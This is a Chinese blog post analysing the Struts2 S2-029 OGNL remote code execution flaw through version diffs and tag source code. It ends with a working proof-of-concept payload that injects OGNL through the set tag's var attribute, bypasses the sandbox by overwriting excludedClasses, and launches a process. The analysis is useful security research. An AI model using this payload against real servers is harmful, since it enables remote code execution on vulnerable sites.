百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

Struts框架s2-29远程代码执行漏洞猜想

ccwgpt 2025-06-03 20:41 14 浏览 0 评论

在315打假日,知名的Java Web框架Struts2发布了新一轮的安全公告,其中最惹国内眼球的,当属这个s2-29——Possible Remote Code Execution vulnerability,可能存在远程代码执行漏洞。对于这个漏洞我第一时间就是一直在跟踪,但是由于官方透露的细节是在台上,所以这里我只能通过github上代码的变更信息,来猜测这个漏洞点。所以本篇文章仅供各位参考。

0x01 漏洞猜想

由于之前Struts2出现问题时,官方被安全人员和使用者训斥,不应该在安全公告中透露漏洞细节以及利用方法,所以这次官方很乖的在公告里写了一些很模糊的内容。

The Apache Struts frameworks performs double evaluation of attributes’ values assigned to certain tags so it is possible to pass in a value that will be evaluated again when a tag’s attributes will be rendered.

从这些内容中我们只能大概的知道在Struts的某些标签会在渲染的时候被执行两次,所以在新版本中修复了这个问题。在公告中说升级到2.3.25可以解决这个问题,所以我去github上diff了2.3.24.1和2.3.25两个版本。这两个版本中间commit了84次。我查看了所有的commit的代码部分,发现有几条看似像是关于这个漏洞相关的内容。

从内容来猜测,前两张图中的修改应该是用于完善沙盒检测机制的,因为这个修改,导致了官方后面出现了一个乌龙事件,这个我们留到后面再说。

好了,下面我们来看第三张图片了,看commit的描述reduces(减少)似乎与double有些关联,而且修改的component.java是所有标签的一个基类。而且从代码变化上来看,应该是减少不必要的Ognl表达式执行。代码对比如下:

2.3.24.1

1234567891011121314151617181920212223242526//core/src/main/java/org/apache/struts2/components/Component.javaprotectedObjectfindValue(Stringexpr,ClasstoType){protectedObjectfindValue(Stringexpr,ClasstoType){if(altSyntax()&&toType==String.class){if(altSyntax()&&toType==String.class){-returnTextParseUtil.translateVariables('%',expr,stack);+if(ComponentUtils.containsExpression(expr)){+returnTextParseUtil.translateVariables('%',expr,stack);+}else{+returnexpr;+}}else{}else{expr=stripExpressionIfAltSyntax(expr);//core/src/main/java/org/apache/struts2/util/ComponentUtils.java-*@paramvalue totreat asan expression+*@paramexpr totreat asan expression*@returntrueifit isan expression*@returntrueifit isan expression*/*/-publicstaticbooleanisExpression(Objectvalue){+publicstaticbooleanisExpression(Stringexpr){-Stringexpr=value.toString();returnexpr.startsWith("%{")&&expr.endsWith("}");returnexpr.startsWith("%{")&&expr.endsWith("}");}}

2.3.25

12345678910111213141516171819202122232425262728293031//core/src/main/java/org/apache/struts2/components/Component.javaprotectedObjectfindValue(Stringexpr,ClasstoType){if(altSyntax()&&toType==String.class){if(altSyntax()&&toType==String.class){-returnTextParseUtil.translateVariables('%',expr,stack);+if(ComponentUtils.containsExpression(expr)){+returnTextParseUtil.translateVariables('%',expr,stack);+}else{+returnexpr;+}}else{}else{expr=stripExpressionIfAltSyntax(expr);expr=stripExpressionIfAltSyntax(expr);//core/src/main/java/org/apache/struts2/util/ComponentUtils.java+*@paramexpr totreat asan expression*@returntrueifit isan expression*@returntrueifit isan expression*/*/-publicstaticbooleanisExpression(Objectvalue){+publicstaticbooleanisExpression(Stringexpr){-Stringexpr=value.toString();returnexpr.startsWith("%{")&&expr.endsWith("}");returnexpr.startsWith("%{")&&expr.endsWith("}");}}+publicstaticbooleancontainsExpression(Stringexpr){+returnexpr.contains("%{")&&expr.contains("}");+}+}}

这段代码的修改用来处理掉了非%{开头,}结尾的字符串进行ognl解析的功能,这里我们来举个例子:bar%{2+3},在修改之前的代码中2+3是会被作为ognl执行的。那么修改后,这种形式就只会被当做字符串来返回。下面问题来了,这种要依赖Struts二次开发人员的奇葩代码风格的问题会被当成CVE吗?这个我是说不清楚,不过从描述和代码上来看,不是没有这种可能。

下面我们来看最后一张图片,这个修改就很有意思了,修改Xwork在底层和ognl的接口函数——setValue。去掉了这个函数的最后一个参数——evalName,这个参数的作用是用来判断是不是参数名的,如果是参数名那么绝不当做ognl表达式执行。这个参数最开始的使用者是参数拦截器中的setParameter方法,用来防止类似s2-03,s2-09这样的问题。但是官方应该是发现有一些他们不记得在哪里用过的setValue可能也存在这样的问题,那么索性就所有的参数名都不允许当做表达式执行好了,所以进行了这次修改。

之后我搜索了下关于这个setValue的使用情况,比较值得注意的有几个个点:Component类的copyParams参数,不过貌似没有被调用过;Set容器类,不过需要攻击者可以操控var属性内容;还有就是Cookie拦截器中,前提肯定是需要远程服务端配置好参数拦截器。相比较来说这个修改面对的问题就比较大了,毕竟Cookie拦截器使用的人也是不少的。所以我猜测s2-29的修复应该是这个点的可能性比较大。

0x02 漏洞构造&利用

我懒得去配置Cookie拦截器了,所以这里使用的是set标签,代码很简单:

<set var="%{#parameters.tang3}"/>

我知道你可能要吐槽%{}这种写法问题会很大,我这里只是单纯的想表示一下var属性可控的情况,不会对后面的执行产生实质影响的。

我们使用http://ip/test.action?tang3=attack来先看一下流程,首先是ContexBean Tag这个基类,在他的处理过程中所有标签的var属性都会通过ContextBean的setVar函数进行一次赋值,他的赋值代码如下:

12345publicvoidsetVar(Stringvar){if(var!=null){this.var=findString(var);}}

如果你熟悉Struts2的标签实现代码,就会知道findString会对参数进行一次ognl表达式执行,他最终的执行代码就是我们分析第三张图中的那个findValue函数,findString的var参数就是findValue的exp参数。从下面图中可以看出tang3的值已经被取出来了(忽略掉内容的问题,后面会详细解释Poc为什么会长这样):

我们继续向下走,到了Set类的end方法中,我们发现,代码是这样的:

123456789101112131415161718192021222324252627282930publicbooleanend(Writer writer,Stringbody){ValueStack stack=getStack();Objecto;if(value==null){if(body!=null&&!body.equals("")){o=body;}else{o=findValue("top");}}else{o=findValue(value);}body="";if("application".equalsIgnoreCase(scope)){stack.setValue("#application['"+getVar()+"']",o);}elseif("session".equalsIgnoreCase(scope)){stack.setValue("#session['"+getVar()+"']",o);}elseif("request".equalsIgnoreCase(scope)){stack.setValue("#request['"+getVar()+"']",o);}elseif("page".equalsIgnoreCase(scope)){stack.setValue("#attr['"+getVar()+"']",o,false);}else{stack.getContext().put(getVar(),o);stack.setValue("#attr['"+getVar()+"']",o,false);}returnsuper.end(writer,body);}

看到那一堆的setValue了没有,我们刚才讨论的就是它!它实现一个三个参数的重载,实现代码是这样的:

123publicvoidsetValue(Stringname,Map&lt;String,Object>context,Objectroot,Objectvalue)throwsOgnlException{setValue(name,context,root,value,true);}

没什么可说的了,evalName值是true,也就是说可以直接执行name中的ognl表达式。而getVar返回的内容,就是我们刚才的this.var值。

剩下的就是PoC构造的了,如我们所看到的拼接代码,我们需要封闭原有的表达式,然后构造合法语句,所以PoC就长成了这个样子:

1

a']=1,ongl,#attr['a

ongl部分可以替换为任意ongl表达式语句,但是还有一个问题,就是Struts存在一个沙盒,防止ognl执行危险的java代码。这里我从阿里的文章中受到了启发,并且通过安恒的文章学到了这个技巧,那就是通过覆盖沙盒的黑名单成员变量,来实现绕过。所以之后我谈计算器的Poc长这个样子:

1a']=1,#_memberAccess["excludedClasses"]={1},new java.lang.ProcessBuilder('calc').start(),#attr['a

0x03 漏洞八卦

Struts框架漏洞曾经深深的伤害过国内大大小小的网站,也使很多安全公司深深的体会到到过事件运营的“乐趣”,所以Struts稍微有个安全公告大家都有一种打了鸡血的干劲。但有时候事与愿违,官方这次一点细节也不透露,只能靠猜,影响了质量和速度,实在是运营的一大悲哀啊。

这次漏洞的修复过程还是很欢乐,官方在测试沙盒规则时,应该是为了方便测试去掉了沙盒的代码,结果当我查看commit是看到了下面这一幕:

是的!他把沙盒给删了~~看到这里是我是一脸懵逼的状态,直到我看到了2.3.26的commit:

我笑抽了,我真的笑抽了~~所以Struts在外的发布版本中只有2.3.25BETA系列,而没有真正的2.3.25版本。

对了,还有一个就是,大家都以为目前大家看到的绕过沙盒PoC真的在2.3.26中已经没用了吗?反正我的PoC只能在2.3.24.1中用。

PS:苦逼的官方现在已经在测试2.3.27版本了大家准备好下一波升级吧~~

0x04 参考文章

【1】《Struts2 S2-029远程代码执行漏洞初探》

【2】《s2-029 Struts2 标签远程代码执行分析》

如果您需要了解更多内容,可以

加入QQ群:486207500

相关推荐

用Deepseek扩写土木工程毕业论文实操指南

用Deepseek扩写毕业论文实操指南一、前期准备整理现有论文初稿/提纲列清楚论文核心框架(背景、现状、意义、方法、数据、结论等)梳理好关键文献,明确核心技术路线二、Deepseek扩写核心思路...

985学霸亲授,DeepSeek也能绘6大科研图表,5分钟就出图

在实验数据处理中,高效可视化是每个科研人的必修课。传统绘图软件操作复杂、耗时费力,而智能工具DeepSeek的出现彻底改变了这一现状。本文将详解如何用DeepSeek一键生成六大科研常用图表,从思维导...

AI写论文刷屏?大学生正在丢掉的思考力

一、宿舍深夜:当论文变成"Ctrl+C+V"凌晨两点的大学宿舍,小王对着电脑屏幕叹气。本该三天前开始写的近代史论文,此刻还一片空白。他熟练打开某AI写作网站,输入"论五四运动的...

Grok在辅助论文写作上能不能既“聪明”又“可怕”?!

AcademicIdeas-学境思源AI初稿写作随着人工智能技术的飞速发展,论文写作这一学术任务正迎来新的助力。2025年2月18日,美国xAI公司推出了备受瞩目的Grok3模型,其创始人埃隆·...

大四论文沟通场景!音频转文字难题听脑AI来化解

大四学生都知道,写论文时和导师沟通修改意见,简直是“过关斩将”。电话、语音沟通完,想把导师说的修改方向、重点要求记下来,麻烦事儿可不少。手写记不全,用普通录音转文字工具,转完还得自己慢慢找重点,稍不注...

论文写作 | 技术路线图怎么画?(提供经典优秀模板参考)

技术路线图是一种图表或文字说明,用于描述研究目标、方法和实施计划。它展示了研究的整体框架和步骤,有助于读者理解研究的逻辑和进展。在课题及论文中,技术路线图是常见的一部分,甚至是一个类似心脏一样的中枢器...

25年信息系统项目管理师考试第2批论文题目写作建议思路框架

25年信息系统项目管理师考试第2批论文题目写作建议思路框架--马军老师

微信购物应尽快纳入法律框架(微信购物管辖)

符向军近日,甘肃省工商行政管理局发布《2016年上半年信息分析报告》。报告显示,微信网购纠纷迅猛增长,网络购物投诉呈上升趋势。投诉的主要问题有出售的商品质量不过关、消费者通过微信付款后对方不发货、购买...

泛珠三角区域网络媒体与腾讯微信签署《战略合作框架协议》

新海南客户端、南海网7月14日消息(记者任桐)7月14日上午,参加第四届泛珠三角区域合作网络媒体论坛的区域网络媒体负责人及嘉宾一行到腾讯微信总部座谈交流,并签署《战略合作框架协议》(以下简称《框架协...

离线使用、植入微信-看乐心Mambo手环如何打破框架

从2014年开始智能手环就成功进入人们的生活,至今已经演变出数据监测、信息推送、心率监测等诸多五花八门的功能,人们选择智能手环并不指望其能够改变身体健康情况,更多的是通过数据来正视自身运动情况和身体健...

微信私域电商运营策略与框架(微信私域怎么做)

...

华专网络:如何零基础制作一个网站出来?

#如何零基础制作一个网站出来?#你是不是觉得网站建设很复杂,觉得自己是小白,需求不明确、流程搞不懂、怕被外包公司坑……这些问题我都懂!今天华专网络就用大白话给你捋清楚建站的全流程,让你轻松get网站制...

WAIC2024丨明日上午9点,不见不散!共同探讨智能社会与全球治理框架

大咖云集,硕果闪耀WAIC2024世界人工智能大会智能社会论坛将于7月5日9:00-12:00与你相约直播间WAIC2024上海杨浦同济大学哔哩哔哩多平台同步直播探讨智能社会与全球治理框架WAIC...

约基奇:森林狼换来戈贝尔时大家都在嘲笑 他们的阵容框架很不错

直播吧5月4日讯西部季后赛半决赛,掘金将迎战森林狼,约基奇赛前接受采访。约基奇说道:“当蒂姆-康纳利(森林狼总经理、前掘金总经理&曾选中约基奇)做了那笔交易(换来戈贝尔)时,每个人都在嘲笑他...

视频号带货为什么一个流量都没有?顶级分析框架送给你

视频号带货为什么一个流量都没有?遇到问题,一定是步步来分析内容,视频号带货一个流量都没有,用另外一个意思来讲,就可以说是零播放。为什么视频号带货一个流量都没有?跟你说再多,都不如来个分析框架。1、是否...

取消回复欢迎 发表评论: